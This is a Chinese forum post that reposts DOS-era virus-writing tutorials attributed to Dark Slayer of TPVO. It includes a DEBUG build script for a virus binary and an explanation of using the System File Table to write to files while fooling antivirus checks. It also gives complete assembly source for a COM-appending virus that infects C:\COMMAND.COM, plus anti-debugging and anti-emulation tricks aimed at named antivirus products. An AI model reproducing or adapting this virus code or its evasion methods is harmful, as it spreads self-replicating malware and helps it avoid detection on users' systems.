KKIILDL
初级用户
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『第
44 楼』:
病毒库(喜欢病毒的,快来看看把)
大家来研究研究!
一、将资料存盘。(只有这些而已喔!) ───────┐
二、使用DEBUG < FileName.xxx(文件名称) │
三、即可产生一个执行档案。 │
│
N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘
◎系统档案表格(SFT) ◎
by Dark Slayer of TPVO
==========================================================================
嗨!我是DS,由于我住在学校宿舍,但是一个礼拜会回来一次,所以我每个礼拜
都会写一些技术数据给各位成员,希望大家好好努力,欢迎写信和我讨论,但是我一
个礼拜只能回来回一次信,抱歉啰...
这次我要讲的是SFT (System File Table,系统档案表格) 的应用。
当我们用DOS 的File Handle 来读写档案时,有没有人想过它的原理,假设一开
始档案指标指向档案开头,我们读取或写入这个档案后会改变它的指标,是否有人想
过它将这个指针值记录在哪里? 如果我们写入一个档案,DOS 如何能得知在关档时怎
样更改此文件的目录? 关于这一切档案处理的数据都记录在SFT 之中,oh... yeah...
SFT!!!是写毒者的强力工具,深入了解SFT 并且应用在您的病毒之中,将会使您的毒
变的更强,事实上... 早在DOS 3.3 的时代就已经有人利用SFT 来写毒了,他就是保
加利亚的毒王Dark Avenger,国外使用SFT 的技术很久了,但是我们国内的病毒作者
却很少有人懂的去利用SFT(我例外啦... 呵呵呵...)OK!废话不多说... 我们赶快来
看看这样一个好东西...
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
04h BYTE 档案属性 (参考 AH=43h,int 21h)
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
11h DWORD 档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标
看完了上面的数据后是否觉得很复杂? 或是感到兴奋? 它可是含括许多好用的东西
(或者该叫武器?!)
当我们用DOS 的AH=3Dh int 21h来开档,DOS 便为此档建立了SFT ,但是你可能会
感到疑惑! 如何取得此SFT 的地址呢? 看下面吧...
mov ax,3d02h
mov dx,offset file_name
int 21h ; 开档
xchg bx,ax
push bx ; 存 File Handle,因为底下改变了 BX
mov ax,1220h
int 2fh ; 取得工作档案表格 JFT (Job File Table)
mov ax,1216h
xor bh,bh ; bh=0
mov bl,es:[di] ; bl=es:[di]=JFT 的编号
int 2fh ; 取得 SFT 的地址
pop bx ; 拿回 File Handle
--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的地址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 地址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用
的功能,以后会介绍的。
取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现
啰,接下来完全要看各人的想象力与创意啰... 我指出几点可以利用到SFT 的地方
,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧!
DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此文件,这样可
以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这
招...
04h BYTE 档案属性 (参考 AH=43h,int 21h)
用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏
、可擦写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此
处之值,然后将它设为0,一样有相同的功能喔!
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
在写入一个档案之前要先保存它的时间和日期吗?不必啰... 感染完之后,在关档
之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。
07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)
Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知
此磁盘的一个cluster 有几个扇区(sector),再拿档案长度来算即可得知如何取得
这些资料呢?当然是从DPB 啰...
0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)
不须用AH=57h一样可以得到档案时间与日期
11h DWORD 档案大小
不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小
15h DWORD 档案读写指标 (参考 AH=42h,int 21h)
直接更改这边的值和用AH=42h int 21h效果是一样的
19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
2Fh WORD (SHARE.EXE) 开启档案的网络机器编号
31h WORD 档案拥有者的 PSP 区段,AUX/CON/PRN 指向 IO.SYS
33h WORD (SHARE.EXE) 在 SHARE 程序段中共享录的偏移值
0000h=没有 SHARE
35h WORD 最后一次存取的 cluster 之绝对 cluster 编号
37h DWORD 指向 IFS 驱动程序之指标
OK!我就拿以前病毒教学Lesson one 的那只小毒来改造,示范如何使用SFT改
造的部份我用小写的指令。
=================(Lesson one - new)==========================================
LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> 保留 3 BYTES 的空间
NOP ; ┘
VIR_START: ; 此处才是真正病毒程序的开端
CALL LOCATE ; 可以想成 PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; 减掉多余的值,此时 SI=偏移值
; 由于此毒是接在档案后面,而被感染的档案大小不一,所以病毒接在档案后的偏移
; 也会不一定,而会造成变量无法定位,所以我们要得知偏移了多少
; 下面程序只要牵涉到和内存寻址有关的部份,都会加上 [SI] 偏移值
MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢复内存中,原
MOV DS:[100h],AX ; │ 档案开头,被病毒
MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改过的 3 BYTES
MOV DS:[100h+2],AL ; ┘
; 因为此毒第一次执行时,之前并没有感染过档案,而要恢复此 3 BYTES 时会盖到
; 病毒本身,所以一开始我们加了 3 个 NOP 来空出此空间,VIR_START 才是真正
; 的病毒码开始处
mov ax,3D00h ; open file for read only
LEA DX,FILE_NAME[SI] ; DS:DX 指向要开的档名
INT 21h ; 呼叫中断
; 开档成功后,传回 AX=档案代码 (FILE HANDLE)
MOV BX,AX ; BX = AX = FILE HANDLE
push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es:[di] ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:[di+2],2 ; file mode = 2 (read/write)
mov al,es:[di+4] ; AL=file attribute
push ax ; save AX
mov byte ptr es:[di+4],0 ; set file attribute to zero
MOV AH,3Fh ; 读档案
MOV CX,3 ; 读取 3 BYTES
LEA DX,FIRST_3_BYTE[SI] ; DS:DX 指向放数据的地址
INT 21h ; 呼叫中断
; 这个动作是读取档案开头的 3 BYTES 到 FIRST_3_BYTE,保存起来
; MOV AX,4202h ; 移动档案指标 (从档尾算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0 ,从档尾移动 0 BYTES
; INT 21h ; 呼叫中断
mov ax,es:[di+11h] ; AX=file length
mov es:[di+15h],ax ; set access point to file end
; 因为是 .com 档,小于 64K,
; 所以只处里低字组就可以了
; 这个动作是把档案读写指标移到档尾,而由 DX:AX (DX = HIGH,CX = LOW) 传回
; 移动后的指标对于档头的距离,所以此时 DX = 0 (COM 档小于 64K),AX = 档案
; 长度
SUB AX,3 ; 计算出 JMP 的偏移值
MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值
; 这个动作是计算要从档头 JMP 至文件尾 (病毒码开端) 所需的偏移
MOV AH,40h ; 写档案
MOV CX,VIR_SIZE ; CX = 病毒长度
LEA DX,VIR_START[SI] ; DS:DX 指向病毒程序开端
INT 21h ; 呼叫中断
; 这个动作是把病毒本体写入档案,由于上个动作已经把档案指标移到档尾,所以
; 这次的写入是从档尾开始,也就是说把病毒体串接在文件尾
; MOV AX,4200h ; 移动档案指标 (从档头算起)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0,从档头移动 0 BYTES
; INT 21h ; 呼叫中断
mov word ptr es:[di+15h],0
; 这个动作是把档案读写指标移到档头,以便修改档头前 3 BYTES
MOV AH,40h ; 写档案
MOV CX,3 ; 写入 3 BYTES
LEA DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程序代码
INT 21h ; 呼叫中断
; 这个动作是把我们原先所记算的 JMP 码写到档头前 3 BYTES,如此一来程序一执
; 行就会跳至病毒程序开端
pop ax ; AX=file attribute
mov es:[di+4],al ; restore file attribute
or word ptr es:[di+5],0100000000000000b
; 关档时不要改变时间和日期
MOV AH,3Eh ; 关档案
INT 21h ; 呼叫中断
push cs
pop es ; 因为取SFT 而改变了 es
MOV AX,100h ; AX = 100h (COM 文件一开始执行的地址)
PUSH AX ; PUSH 给下个 RET 指令的值
RET ; RET 到 100h
; 因为病毒该做的是都做完了,所以返回 100h 去执行原档案
FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程序结束)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX
MSG DB 'This is [LESSON ONE] virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'
VIR_SIZE EQU $-OFFSET VIR_START
LESSON_1 ENDS
END START
嗨!今番要跟大家研究一些反追踪的技巧... 虽然这跟病毒没有很直接的关系
,但能够让一些 AV 被耍的团团转也蛮好玩的...
早期的人在防别人 debug 的时候,不是当掉 int 1h 、int 3h 不然就是将键
盘锁住,这样一来就没办法再 trace 。虽然这些方法不见得有多大的高明,但她
终究也达到防 trace 的目的... 随着一些工具的诞生,这些方法都已不能再做到
踪的要求... 于是... 嘻!各种稀奇古怪的方法也接二连三的被挖掘出来了!而我
反追写这篇的目的,就是将她来个总整理... 这也是我目前的职责所在... :_)
************************
1) 使用一些特殊的指令???
************************
我们首先要找一些比较特别的指令来放入我们的病毒内,这样一来就可让一些
AV无法追下去,如此你就可以达到反追踪的目的... 我们就拿TBAV中的TBCLEAN 来
开刀吧... (喔!这是一个免费的 AV )
C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; 这道指令 TBCLEAN 是没法仿真的!为什么呢?
xxxx:xxxx int 20h ; 可能该作者有特别的理由吧...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com
除了这个指令外,尚有 ENTER 、LEAVE 、PUSH ??h 、PUSH ????h ...
当然啦!不只这些指令可用... 你可以去试试看一些 *not used* 的指令!!!
再来就是 87 指令... 据目前我所看到的 AV 中,没一套是能够模拟这些算数
运算器的指令... (除了 PTAV 之外... 是为了解我的第一只多形而加的... 嘻!)
当然你也可以试试 TBCLEAN 看可以不可以模拟!这个答案是否定的... 因为只要
是他不认识的指令!都可达到反追踪的目的,这样说你应该可以了解吧! :_)
除了以上提到的指令之外!我们还可以使用一些奇特的指令??嘻!这要感谢
DS给我一些建议...
1) D6h (Set AL to carry)
如果 CF=1 的话,AL 就被设为 FFh!
如果 CF=h 的话,AL 就被设为 00h!
2) F1h
这道指令在 ICE 当中!被做为断点... 跟 debug 中的 int 3h 有相同的
用途...
************
2) 硬体&中断
************
1) int 00h (除 0 错误)
...
xor ax,ax
mov ds,ax
push word ptr ds:[0002h]
push word ptr ds:[0000h]
mov ds:[0002h],cs
mov ax,OFFSET int0_jmp
mov ds:[0000h],ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程序转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:[0000h]
pop word ptr ds:[0002h]
...
这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油啰...
在以前没有一个 CPU 指令仿真可追得下去的... (除了新版的 PTAV之外...)
类似这种方法,还有int 5h(与bound有关)、int 6h(非法指令中断)、int 7h
、int 0dh ... 有兴趣自行去研究吧... (哇! 我好堕落喔...) :_)
2) int 02h (不可屏蔽中断)
...
xor ax,ax
mov ds,ax
push word ptr ds:[000ah]
push word ptr ds:[0008h]
mov ds:[000ah],cs
mov ax,OFFSET int0_jmp
mov ds:[0008h],ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:[0008h]
pop word ptr ds:[000ah]
...
嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...
***************
3) CPU 指令队列
***************
咦?队列?没听过?没错... 起初我也不知道她的原理!但我现在之知道啰...
多亏高人指点!又加上我的聪明才智... (哈!好像有点臭屁...)
mov ah,09h
mov word ptr ds:[OFFSET reg_dx+01h],OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h
msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'
嗯!在 debug 下追的时后,所得到的是 msg2 ... 但在 DOS 下却是 msg1
怎样?够好玩吧... 为什么会产生这种情况呢??这是因为 Intel的CPU 在执行
时会连下几个指令都一起加载... (可能是比较省时吧!!)而此时星号执行后,
在程序中虽然mov dx,OFFSET msg1被替换成mov dx,OFFSET msg2,但在 CPU当中
确没改变,照成执行的结果是 msg1 !!当然啦!如果在星号后有加个jmp 或是
call的话,这种现象就不会发生了!这样应该了解这个跟反追踪什么关系吧!还
可以用这个方法来改变程序流程哦...
|
|